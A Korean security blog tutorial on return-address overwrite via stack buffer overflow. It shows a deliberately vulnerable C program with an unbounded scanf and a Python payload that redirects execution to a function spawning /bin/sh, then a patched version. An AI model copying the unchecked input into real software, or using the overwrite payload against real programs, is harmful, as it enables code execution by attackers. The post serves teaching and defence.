Return Address Overwrite
Buffer overflow를 통해 stack의 return address 값을 조작하면, 프로세스의 실행 흐름을 조작할 수 있다.
취약점 분석
취약점이 있는 코드: rao.c
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0); // setvbuf(FILE 구조체에 대한 포인터, 버퍼, 버퍼링 모드, 버퍼 크기(바이트))
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
// 입력값의 크기를 확인하지 않고 있다. -> buf 크기보다 큰 것이 들어오면 overflow 발생
return 0;
}
위 코드에서 발생할 Stack frame 구조는 아래와 같다.
낮은 주소
...
callee가 사용하도록 마련해둔 공간 (즉 buf)
SFP
Return Address
...
높은 주소
즉 아래 사진과 같다.
이 상태에서, buf 크기보다 큰 입력값이 들어와, SFP, 심하게는 return address 영역까지 넘칠 수 있고,
이를 이용해 return address 값을 조작하면, 프로세스의 실행 흐름을 조작할 수 있는 것이다.
(아래 예시 사진은 이 글의 코드와 완전히 동일하진 않음)
이런 구조의 메모리 레이아웃이 있다고 하자.
입력값이 buffer의 크기보다 작을 경우 문제가 없다.
입력값이 커서 buffer가 꽉 차 ebp를 건드리기 직전이다.
ebp가 조작되었다.
return address까지 오염되었다.
익스플로잇
따라서, 그림 1.을 참고하였을 때,
0x38만큼은 아무 쓰레기 값으로 채운 뒤,
그 다음에 Return address에 덮어씌워질 값에는 우리가 실행하려는 코드 (= get_shell)의 주소를 넣으면 공격이 성공한다.
(물론, 우리가 실행하려는 함수가 코드 안에 이렇게 친절하게 있는 경우는 잘 없지만, 단지 실습을 위함이다.)
get_shell() 의 주소인 0x4006aa (이 주소는 pwndbg에서 print get_shell 명령을 통해 얻을 수 있다) 은 리틀 엔디언을 고려해 “\xaa\x06\x40\x00\x00\x00\x00\x00” 로서 전달되어야 한다.
아래와 같이 명령하여 프로그램을 실행하고 인자를 전달하면, get_shell() 함수가 실행에 성공한다.
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
패치
취약점을 발생시켰던 scanf 함수를, 정확히 n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.
패치된 코드: rao_patched.c
#include <stdio.h>
#include <unistd.h>
void get_shell(){
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(){
char buf[0x28];
printf("Input: ");
scanf("%39s", buf);
// scanf: 39(= buf의 크기(40바이트) - 1바이트)만큼의 입력을 받음 (마지막 1바이트는 Null바이트의 자리이기에 남겨둠)
return 0;
}
이외에도, C 코드에서 취약점을 유발하는 함수들을 아래와 같이 대체하여 보완할 수 있다.
'IT > 시스템 보안' 카테고리의 다른 글
[Return to Library] (0) | 2024.03.12 |
---|---|
[Stack Canary] Stack Buffer Overflow로부터 Return address를 보호하기 (0) | 2024.03.05 |
[Stack Buffer Overflow] 데이터 변조와 유출 (0) | 2024.02.29 |
[Shellcode] objdump을 이용한 byte code 추출 (0) | 2024.02.28 |
[Shellcode] execve (0) | 2024.02.28 |